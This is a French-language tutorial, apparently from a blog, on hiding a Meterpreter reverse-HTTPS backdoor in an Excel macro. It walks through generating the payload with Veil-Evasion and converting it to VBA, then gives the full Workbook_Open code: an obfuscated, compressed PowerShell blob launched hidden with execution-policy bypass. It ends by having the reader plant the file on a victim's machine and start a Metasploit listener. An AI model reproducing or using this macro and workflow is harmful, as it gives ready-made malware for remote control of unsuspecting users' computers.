Ajouter un payload dans une macro Microsoft Office
1.Presentation
Les macros sont des petits programmes que l'ont peux développer dans les outils de la suite Microsoft Office. Ils sont développés en vba.
2.Exploitation
Nous allons générer un payload avec veil-evasion que nous intégrerons à un fichier excel.
Il sera auto-executé à l'ouverture du fichier dès l'acceptation de l'execution des macros.
2.1 Génération de la backdoor avec Veil
Pour l'utilisation de Veil reprenez cette article
Cette fois nous allons selectionner le payload
23) powershell/meterpreter/rev_https
Nous obtenons un fichier .bat que nous appelerons backdoor.bat
2.2 Transformation du fichier bat en vba
Le script macro_safe.py vous permet de transformer votre payload batch en vba.
USAGE: macro_safe.py <input batch> <output text>
python macro_safe.py backdoor.bat out
out sera le fichier où le code vba sera stocké.
Vous obtiendrez quelquechose comme cela :
Sub Workbook_Open() 'VBA arch detect suggested by "T" Dim Command As String Dim str As String Dim exec As String Arch = Environ("PROCESSOR_ARCHITECTURE") windir = Environ("windir") If Arch = "AMD64" Then Command = windir + "\syswow64\windowspowershell\v1.0\powershell.exe" Else Command = "powershell.exe" End If str = "nVRtc9pGEP7Or9jRXGekMZLFSx2MxjNxcNy4DYQax07LMJ1DWtCF05" str = str + "18OmEw4b93hVXsfO0XnXa1t8+zu8+KPcIFvHca0yspb7JcG+" str = str + "s6KzQKZacdJFI63gzyci5FDIXllg7cWPoON8qOrYF7YWzJ5a" str = str + "WUOnZrn8wvk8RgUTShFMpC8jQRz1gbi5dYSqXV3TZ/dY+Nth" str = str + "hbL/rfXAYGucW7lI7klcuLfWmtEfPS4htSlserF2bHYPIZe2" str = str + "R/dI+54RkS1vHyAYtKuJZ8+TbyBe0moTKc9w1rtjuWUIedyw" str = str + "+Dq4/Xv326+f2Pz8PRl/Gft5O7r/cP3/76m8/jBBfLVHxfyU" str = str + "zp/NEUtlw/bbbPYavd6f569q537gR3epByc2kM37peY1GquE" str = str + "KH2GVrbwcGbUl9cN0psZvOZsDWP9+AHzBEXpQG/S/z79Rm8C" str = str + "dl5gX0gF8g3LTCEHx8hPO2t3/NbmHHFhV7J2oFQefHQlNxce" str = str + "rrQwr6dnIBLJm6S7S+4SrRGfgZ34iMsrIk+IxqaVNvto9qfm" str = str + "wRvcmOsIPc6JhaDbspr4jO2Ibg6HEC7J99BKgSorAh9gWpoc" str = str + "aFnavw6T/j9oDrBYq04Hr7/RuA5Q6IMbhMXIQRE+BLC2ddej" str = str + "s58XYsJSQbsVUFmBACRgB1gXRFgiC+K4orqoC0YiQjEAtwqe" str = str + "eF58Gx6xRBsLXhnK+/fXWozOkIbTBBsxYxjjWNZcgVX6KZ9f" str = str + "uVF80AjRULQZuA91yK5CCnAZdyTrIkzB2zpsR9xDIyRlRwPb" str = str + "jJtrCYBVX6B5wPpEBlowbLgk8kPDRFQPJ1nbJA4xOesk4TnK" str = str + "F+FlLy024QEn+d5QQ2l1TxcHLzEc6CVgQPgvr4VMDoznO8iC" str = str + "kCXUYw/bC1eBBUXrUhC670k5KaJ1fcctdJrc2L/ulp67wdtM" str = str + "56QbcTtN61+72wF54y5YDXYJruESO/2nVSB2ZzNFe4EEocZs" str = str + "QewR/RboFDBDptB3xFVpHzGOHgua6nWYCf86KwqSkbbHPBdL" str = str + "//078nbLK8Vlwz3HTCMKSjG3rRtG7YbamsyDCgVUWj83o0RT" str = str + "Dkpki5pLkMdL51Wd6EsAnTl42euWxDm0RGp+16XhOOIFVpdO" str = str + "XtL4cQm2zTrI6w2jhdWl+VkmRz+K34E4mY0+JhrEnXvbNuGO" str = str + "5p/HG62/8L" exec = Command + " -NoP -NonI -W Hidden -Exec Bypass -Comm" exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRea" exec = exec + "der ($(New-Object IO.Compression.DeflateStream (" exec = exec + "$(New-Object IO.MemoryStream (,$([Convert]::From" exec = exec + "Base64String(\"" " & str & " \"" )))), [IO.Compr" exec = exec + "ession.CompressionMode]::Decompress)), [Text.Enc" exec = exec + "oding]::ASCII)).ReadToEnd();""" Shell exec,vbHide End Sub
2.3 Création d'une macro dans Excel 2013
Ouvrez le fichier excel dans lequel vous voulez créer la macro (attention il faut que le fichier soit un .xls pour l'execution des macros).
Il faut tout d'abord activer l'onglet développeur
Onglet Fichier -> Options -> Personnaliser le ruban -> Cochez la case Développeur -> OK
On clique ensuite sur VisualBasic
Pour que la macro soit executée à l'ouverture du fichier il faut copier coller notre payload (celui en vba) dans “ThisWorkbook”.
On enregistre et on depose le fichier excel sur l'ordinateur victime.
Sur l'ordinateur de l'attaquant il faut démarrer le listener dans metasploit
use exploit/multi/handler
Lorsque l'utilisateur ouvrira le fichier excel on lui demandera d'activer les macro
La session meterpreter s'ouvre alors sur le pc de l'attaquant.